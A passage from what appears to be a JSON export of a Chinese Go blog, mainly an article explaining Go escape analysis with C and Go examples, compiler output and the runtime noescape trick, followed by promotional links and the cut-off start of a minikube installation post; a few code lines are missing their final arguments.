href=\"https://github.com/bigwhite/functrace\"\u003efunctrace\u003c/a\u003e：https://github.com/bigwhite/functrace。这个小工具不仅仅是分享给大家的，我自己在工作和学习时也在使用。最近发现这个小工具在阅读和分析某个Go项目源码时也能起到关键的辅助作用。这里就和大家简单讲解一下如何用functrace来辅助Go源码阅读和分析。\u003c/p\u003e\n\u003cp\u003e程序员的日常离不开“源码阅读和分析”，日常阅读代码的姿势无非是这么几种（或几种的组合）：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e结合源码编辑器或IDE提供的强大的源码交叉索引和跳转功能在一个庞大的源码库中建立起代码间的联系；\u003c/li\u003e\n\u003cli\u003e将代码跑起来，在代码中加上一些print输出，跟踪执行流并画出；\u003c/li\u003e\n\u003cli\u003e也有人喜欢用调试器从一点（通常是main）开始单步跟踪执行流。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e无论哪一种方式，最终只要时间够长，态度到位，总是会将代码分析出个七七八八的。\u003c/p\u003e","title":"使用functrace辅助进行Go项目源码分析"},{"content":"\n本文永久链接 – https://tonybai.com/2021/05/24/understand-go-escape-analysis-by-example\n翻看了一下自己的Go文章归档，发现自己从未专门写过有关Go逃逸分析（escape analysis）的文章。关于Go变量的逃逸分析，大多数Gopher其实并不用关心，甚至可以无视。但是如果你将Go应用于性能敏感的领域，要完全压榨出Go应用的性能，那么理解Go逃逸分析就大有裨益了。在本文，我们就一起来理解一下Go的逃逸分析。\n1. 逃逸分析（escape analysis）要解决的问题 C/C++语言出身的程序员对堆内存（heap）和栈内存（stack）都有着“泾渭分明”的理解。在操作系统演化出现进程虚拟内存地址（virtual memory address）的概念后，如下图所示，应用程序的虚拟内存地址空间就被划分为堆内存区（如图中的heap）和栈内存区（如图中的stack）：\n图：一个进程的虚拟内存地址空间（图来自https://dave.cheney.net/2014/06/07/five-things-that-make-go-fast）\n在x86平台linux操作系统下，如上图，一般将栈内存区放在高地址，栈向下延伸；而堆内存去放在低地址，堆向上延伸，这样做的好处就是便于堆和栈可动态共享那段内存区域。\n这是否意味着所有分配在堆内存区域的内存对象地址一定比分配在栈内存区域的内存对象地址要小呢？在C/C++中是这样的，但是在Go语言中，这是不一定的，因为go堆内存所使用的内存页(page)与goroutine的栈所使用的内存页是交织在一起的。\n无论是栈内存还是堆内存，对于应用而言都是合法可用的内存地址空间。之所以将其区分开，是因为应用程序的内存分配和管理的需要。\n栈内存上的对象的存储空间是自动分配和销毁的，无需开发人员或编程语言运行时过多参与，比如下面的这段C代码（用C代码更能体现栈内存与堆内存的差别）：\n// github.com/bigwhite/experiments/blob/master/go-escape-analysis/c/cstack.c #include \u0026lt;stdio.h\u0026gt; void bar() { int e = 31; int f = 32; printf(\u0026#34;e = %d\\n\u0026#34;, e); printf(\u0026#34;f = %d\\n\u0026#34;, f); } void foo() { int c = 21; int d = 22; printf(\u0026#34;c = %d\\n\u0026#34;, c); printf(\u0026#34;d = %d\\n\u0026#34;, d); } int main() { int a = 11; int b = 12; printf(\u0026#34;a = %d\\n\u0026#34;, a); printf(\u0026#34;b = %d\\n\u0026#34;, b); foo(); bar(); } 上面这段c程序算上main函数共有三个函数，每个函数中都有两个整型变量，C编译器自动为这些变量在栈内存上分配空间，我们无需考虑它什么时候被创建以及何时被销毁，我们只需在特定的作用域（其所在函数内部）使用它即可，而无需担心其内存地址不合法，因此这些被分配在栈内存上的变量也被称为“自动变量”。但是如果将其地址返回到函数的外部，那么函数外部的代码通过解引用而访问这些变量时便会出错，如下面示例：\n// github.com/bigwhite/experiments/blob/master/go-escape-analysis/c/cstack_coredump.c #include \u0026lt;stdio.h\u0026gt; int *foo() { int c = 11; return \u0026amp;c; } int main() { int *p = foo(); printf(\u0026#34;the return value of foo = %d\\n\u0026#34;, *p); } 如代码所示，在上面这个例子中，我们将foo函数内的自动变量c的地址通过函数返回值返回给foo函数的调用者（main）了，这样当我们在main函数中引用该地址输出该变量值的时候，我们就会收到异常，比如在ubuntu上运行上述程序，我们会得到如下结果（在macos上运行，gcc会给出相同的警告，但程序运行不会dump core）：\n# gcc cstack_dumpcore.c cstack_dumpcore.c: In function ‘foo’: cstack_dumpcore.c:5:12: warning: function returns address of local variable [-Wreturn-local-addr] return \u0026amp;c; ^~ # ./a.out Segmentation fault (core dumped) 这样一来我们就需要一种内存对象，可以在全局（跨函数间）合法使用，这就是堆内存对象。但是和位于栈上的内存对象由程序自行创建销毁不同，堆内存对象需要通过专用API手工分配和释放，在C中对应的分配和释放方法就是malloc和free：\n// github.com/bigwhite/experiments/blob/master/go-escape-analysis/c/cheap.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; int *foo() { int *c = malloc(sizeof(int)); *c = 12; return c; } int main() { int *p = foo(); printf(\u0026#34;the return value of foo = %d\\n\u0026#34;, *p); free(p); } 在这个示例中我们使用malloc在foo函数中分配了一个堆内存对象，并将该对象返回给main函数，main函数使用完该对象后调用了free函数手工释放了该堆内存块。\n显然和自动变量相比，堆内存对象的生命周期管理将会给开发人员带来很大的心智负担。为了降低这方面的心智负担，带有GC（垃圾回收）的编程语言出现了，比如Java、Go等。这些带有GC的编程语言会对位于堆上的对象进行自动管理。当某个对象不可达时（即没有其对象引用它时），它将会被回收并被重用。\n但GC的出现虽然降低了开发人员在内存管理方面的心智负担，但GC不是免费的，它给程序带来的性能损耗是不可忽视的，尤其是当堆内存上有大量待扫描的堆内存对象时，将会给GC带来过大的压力，从而使得GC占用更多本应用于处理业务逻辑的计算和存储资源。于是人们开始想方法尽量减少在堆上的内存分配，可以在栈上分配的变量尽量留在栈上。\n逃逸分析（escape analysis）就是在程序编译阶段根据程序代码中的数据流，对代码中哪些变量需要在栈上分配，哪些变量需要在堆上分配进行静态分析的方法。一个理想的逃逸分析算法自然是能将那些人们认为需要分配在栈上的变量尽可能保留在栈上，尽可能少的“逃逸”到堆上的算法。但这太过理想，各种语言都有自己的特殊情况，各种语言的逃逸算法的精确度实际都会受到这方面的影响。\n2. Go语言的逃逸分析 Go从诞生那天起，逃逸分析就始终伴随其左右。正如上面说到的逃逸分析的目标，Go编译器使用逃逸分析来决定哪些变量应该在goroutine的栈上分配，哪些变量应该在堆上分配。\n截至目前，Go一共有两个版本的逃逸分析实现，分水岭在Go 1.13版本。Go 1.13版本之前是Go逃逸分析的第一版实现，位于Go源码的src/cmd/compile/internal/gc/esc.go中（以go 1.12.7版本为例），代码规模2400多行；Go 1.13版本中加入了由Matthew Dempsky重写的第二版逃逸分析，并默认开启，可以通过-gcflags=”-m -newescape=false”恢复到使用第一版逃逸分析。之所以重写，主要是考虑第一版代码的可读性和可维护性问题，新版代码主要位于Go项目源码的src/cmd/compile/internal/gc/escape.go中，它将逃逸分析代码从上一版的2400多行缩减为1600多行，并作了更为完整文档和注释。但注意的是新版代码在算法精确性上并没有质的变化。\n但即便如此，经过了这么多年的“修修补补”，Dmitry Vyukov 2015年提出的那些“Go Escape Analysis Flaws”多数已经fix了。Go项目中内置了对逃逸分析的详尽的测试代码（位于Go项目下的test/escape*.go文件中）。\n在新版逃逸分析实现的注释中（$GOROOT/src/cmd/compile/internal/gc/escape.go），我们可以大致了解逃逸分析的实现原理。注释中的原理说明中提到了算法基于的两个不变性：\n指向栈对象的指针不能存储在堆中（pointers to stack objects cannot be stored in the heap）； 指向栈对象的指针不能超过该栈对象的存活期（即指针不能在栈对象被销毁后依旧存活）（pointers to a stack object cannot outlive that object）。 源码注释中也给出Go逃逸分析的大致原理和过程。Go逃逸分析的输入是Go编译器解析了Go源文件后所获得的整个程序的抽象语法树（Abstract syntax tree，AST）：\n源码解析后得到的代码AST的Node切片为xtop：\n// $GOROOT/src/cmd/compile/internal/gc/go.go var xtop []*Node 在Main函数中，xtop被传入逃逸分析的入口函数escapes：\n// $GOROOT/src/cmd/compile/internal/gc/main.go // Main parses flags and Go source files specified in the command-line // arguments, type-checks the parsed Go package, compiles functions to machine // code, and finally writes the compiled package definition to disk. func Main(archInit func(*Arch)) { ... ... // Phase 6: Escape analysis. // Required for moving heap allocations onto stack, // which in turn is required by the closure implementation, // which stores the addresses of stack variables into the closure. // If the closure does not escape, it needs to be on the stack // or else the stack copier will not update it. // Large values are also moved off stack in escape analysis; // because large values may contain pointers, it must happen early. timings.Start(\u0026#34;fe\u0026#34;, \u0026#34;escapes\u0026#34;) escapes(xtop) ... ... } 下面是escapes函数的实现：\n// $GOROOT/src/cmd/compile/internal/gc/esc.go func escapes(all []*Node) { visitBottomUp(all, escapeFuncs) } // $GOROOT/src/cmd/compile/internal/gc/scc.go // 强连接node - 一个数据结构 func visitBottomUp(list []*Node, analyze func(list []*Node, recursive bool)) { var v bottomUpVisitor v.analyze = analyze v.nodeID = make(map[*Node]uint32) for _, n := range list { if n.Op == ODCLFUNC \u0026amp;\u0026amp; !n.Func.IsHiddenClosure() { v.visit(n) } } } // $GOROOT/src/cmd/compile/internal/gc/escape.go // escapeFuncs performs escape analysis on a minimal batch of // functions. func escapeFuncs(fns []*Node, recursive bool) { for _, fn := range fns { if fn.Op != ODCLFUNC { Fatalf(\u0026#34;unexpected node: %v\u0026#34;, fn) } } var e Escape e.heapLoc.escapes = true // Construct data-flow graph from syntax trees. for _, fn := range fns { e.initFunc(fn) } for _, fn := range fns { e.walkFunc(fn) } e.curfn = nil e.walkAll() e.finish(fns) } 根据注释，escapes的大致原理是(直译)：\n首先，构建一个有向加权图，其中顶点(称为”location”，由gc.EscLocation表示)代表由语句和表达式分配的变量，而边(gc.EscEdge)代表变量之间的赋值(权重代表寻址/取地址次数)。 接下来，遍历(visitBottomUp)该有向加权图，在图中寻找可能违反上述两个不变量条件的赋值路径。 违反上述不变量的赋值路径。如果一个变量v的地址是储存在堆或其他可能会超过它的存活期的地方，那么v就会被标记为需要在堆上分配。 为了支持函数间的分析，算法还记录了从每个函数的参数到堆的数据流以及到其结果的数据流。算法将这些信息称为“参数标签(parameter tag)”。这些标签信息在静态调用时使用，以改善对函数参数的逃逸分析。 当然即便看到这，你可能依旧一头雾水，没关系，这里不是讲解逃逸分析原理，如果想了解原理，那就请认真阅读那2400多行代码。\n注：有一点需要明确，那就是静态逃逸分析也无法确定的对象会被放置在堆上，后续精确的GC会处理这些对象，这样最大程度保证了代码的安全性。\n3. Go逃逸分析的示例 Go工具链提供了查看逃逸分析过程的方法，我们可以通过在-gcflags中使用-m来让Go编译器输出逃逸分析的过程，下面是一些典型的示例。\n1) 简单原生类型变量的逃逸分析 我们来看一个原生整型变量的逃逸分析过程，下面是示例的代码：\n// github.com/bigwhite/experiments/blob/master/go-escape-analysis/go/int.go 1 package main 2 3 import \u0026#34;testing\u0026#34; 4 5 func foo() { 6 a := 11 7 p := new(int) 8 *p = 12 9 println(\u0026#34;addr of a is\u0026#34;, \u0026amp;a) 10 println(\u0026#34;addr that p point to is\u0026#34;, p) 11 } 12 13 func bar() (*int, *int) { 14 m := 21 15 n := 22 16 println(\u0026#34;addr of m is\u0026#34;, \u0026amp;m) 17 println(\u0026#34;addr of n is\u0026#34;, \u0026amp;n) 18 return \u0026amp;m, \u0026amp;n 19 } 20 21 func main() { 22 println(int(testing.AllocsPerRun(1, foo))) 23 println(int(testing.AllocsPerRun(1, func() { 24 bar() 25 }))) 26 } 我们通过-gcflags “-m -l”来执行逃逸分析，之所以传入-l是为了关闭inline，屏蔽掉inline对这个过程以及最终代码生成的影响：\n// go 1.16版本 on MacOS $go build -gcflags \u0026#34;-m -l\u0026#34; int.go # command-line-arguments ./int.go:7:10: new(int) does not escape ./int.go:14:2: moved to heap: m ./int.go:15:2: moved to heap: n ./int.go:23:38: func literal does not escape 逃逸分析的结果与我们手工分析的一致：函数bar中的m、n逃逸到heap(对应上面输出的有moved to heap: xx字样的行)，这两个变量将在heap上被分配存储空间。而函数foo中的a以及指针p指向的内存块都在栈上分配（即便我们是调用的new创建的int对象，Go中new出来的对象可不一定分配在堆上，逃逸分析的输出日志中还专门提及new(int)没有逃逸）。我们执行一下该示例（执行时同样传入-l关闭inline）：\n$go run -gcflags \u0026#34;-l\u0026#34; int.go addr of a is 0xc000074860 addr that p point to is 0xc000074868 addr of a is 0xc000074860 addr that p point to is 0xc000074868 0 addr of m is 0xc0000160e0 addr of n is 0xc0000160e8 addr of m is 0xc0000160f0 addr of n is 0xc0000160f8 2 首先，我们看到未逃逸的a和p指向的内存块的地址区域在0xc0000748600xc000074868；而逃逸的m和n被分配到了堆内存空间，从输出的结果来看在0xc0000160e00xc0000160e8。我们可以明显看到这是两块不同的内存地址空间；另外通过testing包的AllocsPerRun的输出，我们同样印证了函数bar中执行了两次堆内存分配动作。\n我们再来看看这个代码对应的汇编代码：\n$go tool compile -S int.go |grep new 0x002c 00044 (int.go:14) CALL runtime.newobject(SB) 0x004d 00077 (int.go:15) CALL runtime.newobject(SB) rel 45+4 t=8 runtime.newobject+0 rel 78+4 t=8 runtime.newobject+0 我们看到在对应源码的14和15行，汇编调用了runtime.newobject在堆上执行了内存分配动作，这恰是逃逸的m和n声明的位置。从下面newobject代码的实现我们也能看到，它实际上在gc管理的内存上执行了malloc动作：\n// $GOROOT/src/runtime/malloc.go // implementation of new builtin // compiler (both frontend and SSA backend) knows the signature // of this function func newobject(typ *_type) unsafe.Pointer { return mallocgc(typ.size, typ, true) } 2) 切片变量自身和切片元素的逃逸分析 了解过切片实现原理的gopher都知道，切片变量实质上是一个三元组：\n//$GOROOT/src/runtime/slice.go type slice struct { array unsafe.Pointer len int cap int } 其中这个三元组的第一个字段array指向的是切片底层真正存储元素的指针。这样当为一个切片变量分配内存时，便既要考虑切片本身(即上面的slice结构体)在哪里分配，也要考虑切片元素的存储在哪里分配。我们看下面示例：\n// github.com/bigwhite/experiments/blob/master/go-escape-analysis/go/slice.go 1 package main 2 3 import ( 4 \u0026#34;reflect\u0026#34; 5 \u0026#34;unsafe\u0026#34; 6 ) 7 8 func noEscapeSliceWithDataInHeap() { 9 var sl []int 10 println(\u0026#34;addr of local(noescape, data in heap) slice = \u0026#34;, \u0026amp;sl) 11 printSliceHeader(\u0026amp;sl) 12 sl = append(sl, 1) 13 println(\u0026#34;append 1\u0026#34;) 14 printSliceHeader(\u0026amp;sl) 15 println(\u0026#34;append 2\u0026#34;) 16 sl = append(sl, 2) 17 printSliceHeader(\u0026amp;sl) 18 println(\u0026#34;append 3\u0026#34;) 19 sl = append(sl, 3) 20 printSliceHeader(\u0026amp;sl) 21 println(\u0026#34;append 4\u0026#34;) 22 sl = append(sl, 4) 23 printSliceHeader(\u0026amp;sl) 24 } 25 26 func noEscapeSliceWithDataInStack() { 27 var sl = make([]int, 0, 28 println(\u0026#34;addr of local(noescape, data in stack) slice = \u0026#34;, \u0026amp;sl) 29 printSliceHeader(\u0026amp;sl) 30 sl = append(sl, 1) 31 println(\u0026#34;append 1\u0026#34;) 32 printSliceHeader(\u0026amp;sl) 33 sl = append(sl, 2) 34 println(\u0026#34;append 2\u0026#34;) 35 printSliceHeader(\u0026amp;sl) 36 } 37 38 func escapeSlice() *[]int { 39 var sl = make([]int, 0, 40 println(\u0026#34;addr of local(escape) slice = \u0026#34;, \u0026amp;sl) 41 printSliceHeader(\u0026amp;sl) 42 sl = append(sl, 1) 43 println(\u0026#34;append 1\u0026#34;) 44 printSliceHeader(\u0026amp;sl) 45 sl = append(sl, 2) 46 println(\u0026#34;append 2\u0026#34;) 47 printSliceHeader(\u0026amp;sl) 48 return \u0026amp;sl 49 } 50 51 func printSliceHeader(p *[]int) { 52 ph := (*reflect.SliceHeader)(unsafe.Pointer(p)) 53 println(\u0026#34;slice data =\u0026#34;, unsafe.Pointer(ph.Data)) 54 } 55 56 func main() { 57 noEscapeSliceWithDataInHeap() 58 noEscapeSliceWithDataInStack() 59 escapeSlice() 60 } 对上述示例运行逃逸分析：\n$go build -gcflags \u0026#34;-m -l\u0026#34; slice.go # command-line-arguments ./slice.go:51:23: p does not escape ./slice.go:27:15: make([]int, 0, does not escape ./slice.go:39:6: moved to heap: sl ./slice.go:39:15: make([]int, 0, escapes to heap 我们从输出的信息中看到：\n位于39行的escapeSlice函数中的sl逃逸到堆上了； 位于39行的escapeSlice函数中的切片sl的元素也逃逸到堆上了； 位于27行的切片sl的元素没有逃逸。 由于很难看到三个函数中各个切片的元素是否逃逸，我们通过运行该示例来看一下：\n$go run -gcflags \u0026#34; -l\u0026#34; slice.go addr of local(noescape, data in heap) slice = 0xc00006af48 slice data = 0x0 append 1 slice data = 0xc0000160c0 append 2 slice data = 0xc0000160d0 append 3 slice data = 0xc0000140c0 append 4 slice data = 0xc0000140c0 addr of local(noescape, data in stack) slice = 0xc00006af48 slice data = 0xc00006af08 append 1 slice data = 0xc00006af08 append 2 slice data = 0xc00006af08 addr of local(escape) slice = 0xc00000c030 slice data = 0xc00001a100 append 1 slice data = 0xc00001a100 append 2 slice data = 0xc00001a100 注：我们利用reflect包的SliceHeader输出切片三元组中的代表底层数组地址的字段，这里是slice data。\n我们看到：\n第一个函数noEscapeWithDataInHeap声明了一个空slice，并在后面使用append向切片附加元素。从输出结果来看，slice自身是分配在栈上的，但是运行时在动态扩展切片时，选择了将其元素存储在heap上； 第二个函数noEscapeWithDataInStack直接初始化了一个包含8个元素存储空间的切片，切片自身没有逃逸，并且在附加(append)的元素个数小于等于8个的时候，元素直接使用了为其分配的栈空间；但如果附加的元素超过8个，那么运行时会在堆上分配一个更大的空间并将原栈上的8个元素复制过去，后续该切片的元素就都存储在了堆上。这也是为什么强烈建议在创建 slice 时带上预估的cap参数的原因，不仅减少了堆内存的频繁分配，在切片变量未逃逸的情况下，在cap容量之下，所有元素都分配在栈上，这将提升运行性能。 第三个函数escapeSlice则是切片变量自身以及其元素的存储都在堆上。 3) fmt.Printf系列函数让变量逃逸到堆(heap)上了？ 很多人在go项目的issue中反馈fmt.Printf系列函数让变量逃逸到堆上了，情况真的是这样么？我们通过下面示例来看一下：\n// github.com/bigwhite/experiments/blob/master/go-escape-analysis/go/printf1.go 1 package main 2 3 import \u0026#34;fmt\u0026#34; 4 5 func foo() { 6 var a int = 66666666 7 var b int = 77 8 fmt.Printf(\u0026#34;a = %d\\n\u0026#34;, a) 9 println(\u0026#34;addr of a in foo =\u0026#34;, \u0026amp;a) 10 println(\u0026#34;addr of b in foo =\u0026#34;, \u0026amp;b) 11 } 12 13 func main() { 14 foo() 15 } 注：println和print两个预定义函数并没有像fmt.Printf系列函数的“副作用”，不会影响变量的逃逸性。所以这里使用println来输出变量的实际分配内存地址。\n对上面的代码运行逃逸分析：\n$go build -gcflags \u0026#34;-m -l\u0026#34; printf1.go # command-line-arguments ./printf1.go:8:12: ... argument does not escape ./printf1.go:8:13: a escapes to heap 我们看到逃逸分析输出第8行的变量“a escapes to heap”，不过这个“逃逸”有些奇怪，因为按照之前的经验，如果某个变量真实逃逸了，那么逃逸分析会在其声明的那行输出：“moved to heap: xx”字样。而上面这个输出既不是在变量声明的那一行，也没有输出“moved to heap: a”字样，变量a真的逃逸了么？我们运行一下上面示例，看看变量a的地址究竟是在堆上还是栈上：\n$go run -gcflags \u0026#34;-l\u0026#34; printf1.go a = 66666666 addr of a in foo = 0xc000092f50 addr of b in foo = 0xc000092f48 我们看到变量a的地址与未逃逸的变量b的地址都在同一个栈空间，变量a并未逃逸！如果你反编译为汇编，你肯定也看不到runtime.newobject的调用。\n那么“./printf1.go:8:13: a escapes to heap”这句的含义究竟是什么呢？显然逃逸分析在这一行是对进入fmt.Printf的数据流的分析，我们修改一下go标准库源码，然后build -a重新编译一下printf1.go，看看在fmt.Printf内部变量的分布情况：\n// $GOROOT/src/fmt/print.go func Printf(format string, a ...interface{}) (n int, err error) { // 添加下面四行代码 for i := 0; i \u0026lt; len(a); i++ { println(a[i]) println(\u0026amp;a[i]) } return Fprintf(os.Stdout, format, a...) } 重新编译printf1.go并运行编译后的可执行文件(为了避免)：\n$go build -a -gcflags \u0026#34;-l\u0026#34; printf1.go $./printf1 (0x10af200,0xc0000160c8) 0xc00006cf58 a = 66666666 addr of a in foo = 0xc00006cf50 addr of b in foo = 0xc00006cf48 我们看到fmt.Printf的实参a在传入后被装箱到一个interface{}类型的形参变量中，而这个形参变量自身则是被分配在栈上的（0xc00006cf58），而通过println输出的该interface{}类型形参变量的类型部分和值部分分别指向0x10af200和0xc0000160c8。显然值部分是在堆内存上分配的。那么“./printf1.go:8:13: a escapes to heap”是否指的是装箱后的值部分在堆上分配呢？这里也不确定。\n我们再来看一个例子来对比一下：\n// github.com/bigwhite/experiments/blob/master/go-escape-analysis/go/printf2.go 1 package main 2 3 import \u0026#34;fmt\u0026#34; 4 5 func foo() { 6 var a int = 66666666 7 var b int = 77 8 fmt.Printf(\u0026#34;addr of a in bar = %p\\n\u0026#34;, \u0026amp;a) 9 println(\u0026#34;addr of a in bar =\u0026#34;, \u0026amp;a) 10 println(\u0026#34;addr of b in bar =\u0026#34;, \u0026amp;b) 11 } 12 13 func main() { 14 foo() 15 } 在printf2.go这个例子中，与printf1.go不同的是我们在foo函数中使用fmt.Printf输出的是变量a的地址：\u0026amp;a。我们运行一下新版逃逸分析：\n// go 1.16 $go build -gcflags \u0026#34;-m -l\u0026#34; printf2.go # command-line-arguments ./printf2.go:6:6: moved to heap: a ./printf2.go:8:12: ... argument does not escape 我们看到位于第6行声明的变量a居然真的逃逸到了堆上。我们运行一下printf2.go：\n$go build -a -gcflags \u0026#34;-l\u0026#34; printf2.go $./printf2 (0x10ab4a0,0xc0000160c8) 0xc00006cf58 addr of a in bar = 0xc0000160c8 addr of a in bar = 0xc0000160c8 addr of b in bar = 0xc00006cf48 我们看到变量a的地址果然与位于栈上的变量b相差很大，应该就是在堆上，那么这样看那些在go项目中提issue的gopher所言不虚。变量a的地址以实参的形式传入fmt.Printf后被装箱到一个interface{}形参变量中，而从结果来看，fmt.Printf真的要求装箱的形参变量的值部分要在堆上分配，但根据逃逸分析不变性，堆上的对象不能存储一个栈上的地址，而这次存储的是a的地址，于是将a判定为逃逸，于是a自身也就被分配到了堆上(0xc0000160c8)。\n我们用go 1.12.7运行一下老版的逃逸分析：\n// go 1.12.7 $go build -gcflags \u0026#34;-m -l\u0026#34; printf2.go # command-line-arguments ./printf2.go:8:40: \u0026amp;a escapes to heap ./printf2.go:8:40: \u0026amp;a escapes to heap ./printf2.go:6:6: moved to heap: a ./printf2.go:8:12: foo ... argument does not escape ./printf2.go:9:32: foo \u0026amp;a does not escape ./printf2.go:10:32: foo \u0026amp;b does not escape 老版的逃逸分析给出了更详细的输出，比如：“\u0026amp;a escapes to heap”，其所指想必就是\u0026amp;a被装箱到堆内存上；而println输出\u0026amp;a则无需\u0026amp;a被装箱。但此后对变量a的最终判定为逃逸。\nGo核心团队成员Keith Randall对逃逸分析输出的日志给过一个解释，大致意思是：当逃逸分析输出“b escapes to heap”时，意思是指存储在b中的值逃逸到堆上了(当b为指针变量时才有意义），即任何被b引用的对象必须分配在堆上，而b自身则不需要；如果b自身也逃逸到堆上，那么逃逸分析会输出“\u0026amp;b escapes to heap”。\n这个问题目前已经没有fix，其核心问题在8618这个issue中。\n5. 手动强制避免逃逸 对于printf2.go中的例子，我们确定一定以及肯定：a不需要逃逸。但若使用fmt.Printf，我们无法阻拦a的逃逸。那是否有一种方法可以干扰逃逸分析，使逃逸分析认为需要在堆上分配的内存对象而我们确定认为不需要逃逸的对象避免逃逸呢？在Go运行时代码中，我们发现了一个函数：\n// $GOROOT/src/runtime/stubs.go func noescape(p unsafe.Pointer) unsafe.Pointer { x := uintptr(p) return unsafe.Pointer(x ^ 0) // 任何数值与0的异或都是原数 } 并且在Go标准库和运行时实现中，该函数得到大量使用。该函数的实现逻辑使得我们传入的指针值与其返回的指针值是一样的。该函数只是通过uintptr做了一次转换，而这次转换将指针转换成了数值，这“切断”了逃逸分析的数据流跟踪，导致传入的指针避免逃逸。\n我们看一下下面例子：\n// github.com/bigwhite/experiments/blob/master/go-escape-analysis/go/printf3.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;unsafe\u0026#34; ) func noescape(p unsafe.Pointer) unsafe.Pointer { x := uintptr(p) return unsafe.Pointer(x ^ 0) } func foo() { var a int = 66666666 var b int = 77 fmt.Printf(\u0026#34;addr of a in bar = %p\\n\u0026#34;, (*int)(noescape(unsafe.Pointer(\u0026amp;a)))) println(\u0026#34;addr of a in bar =\u0026#34;, \u0026amp;a) println(\u0026#34;addr of b in bar =\u0026#34;, \u0026amp;b) } func main() { foo() } 对该代码实施统一分析：\n$go build -gcflags \u0026#34;-m -l\u0026#34; printf3.go # command-line-arguments ./printf3.go:8:15: p does not escape ./printf3.go:16:12: ... argument does not escape 我们看到a这次没有逃逸。运行一下编译后的可执行文件：\n$./printf3 (0x10ab4c0,0xc00009af50) 0xc00009af58 addr of a in bar = 0xc00009af50 addr of a in bar = 0xc00009af50 addr of b in bar = 0xc00009af48 我们看到a没有像printf2.go那样被放在堆上，这次和b一样都是在栈上分配的。并且在fmt.Printf执行的过程中a的栈地址始终是有效的。\n曾有一篇通过逃逸分析优化性能的论文《Escape from Escape Analysis of Golang》使用的就是上述noescape函数的思路，有兴趣的童鞋可以自行下载阅读。\n6. 小结 通过这篇文章，我们了解到了逃逸分析要解决的问题、Go逃逸分析的现状与简单原理、一些Go逃逸分析的实例以及对逃逸分析输出日志的说明。最后，我们给出一个强制避开逃逸分析的方案，但要谨慎使用。\n日常go开发过程，绝大多数情况无需考虑逃逸分析，除非性能敏感的领域。在这些领域，对系统执行热点路径做一次逃逸分析以及相应的优化，可能回带来程序性能的一定提升。\n本文涉及的源码可以在这里下载：https://github.com/bigwhite/experiments/blob/master/go-escape-analysis\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/05/24/understand-go-escape-analysis-by-example/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-escape-analysis-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/05/24/understand-go-escape-analysis-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/05/24/understand-go-escape-analysis-by-example\"\u003ehttps://tonybai.com/2021/05/24/understand-go-escape-analysis-by-example\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e翻看了一下自己的\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo文章归档\u003c/a\u003e，发现自己从未专门写过有关Go逃逸分析（escape analysis）的文章。关于Go变量的逃逸分析，大多数Gopher其实并不用关心，甚至可以无视。但是如果你将Go应用于性能敏感的领域，要完全压榨出Go应用的性能，那么理解Go逃逸分析就大有裨益了。在本文，我们就一起来理解一下Go的逃逸分析。\u003c/p\u003e","title":"通过实例理解Go逃逸分析"},{"content":"\n本文永久链接 – https://tonybai.com/2021/05/14/a-bug-of-minikube-1-20\n近期在研究dapr(分布式应用运行时)，这是一个很朴素却很棒的想法，目前大厂，如阿里和鹅厂都有大牛在研究该项目，甚至是利用dapr落地了部分应用。关于dapr，后续我也会用单独的文章详细说说。\ndapr不仅支持k8s部署，还支持本地部署，并可以对接多个世界知名的公有云厂商的服务，比如：aws、azure、阿里云等。为了体验dapr对云原生应用的支持，我选择了将其部署于k8s中，同时我选择使用minikube来构建本地k8s开发环境。而本文要说的就是将dapr安装到minikube时遇到的问题。\n1. 安装minikube Kubernetes在4月份发布了最新的1.21版本，但目前minikube的最新版依然为1.20版本。\nminikube是k8s项目自己维护的一个k8s本地开发环境项目，它与k8s的api接口兼容，我们可以快速搭建一个minikube来进行k8s学习和实践。minikube官网上有关于它的安装、使用和维护的详尽资料。\n我这里在一个ubuntu 18.04的腾讯云主机上(1 vcpu, 2g mem)上安装minikube v1.20，minikube是一个单体二进制文件，我们先将这个文件下载到本地：\n# curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- 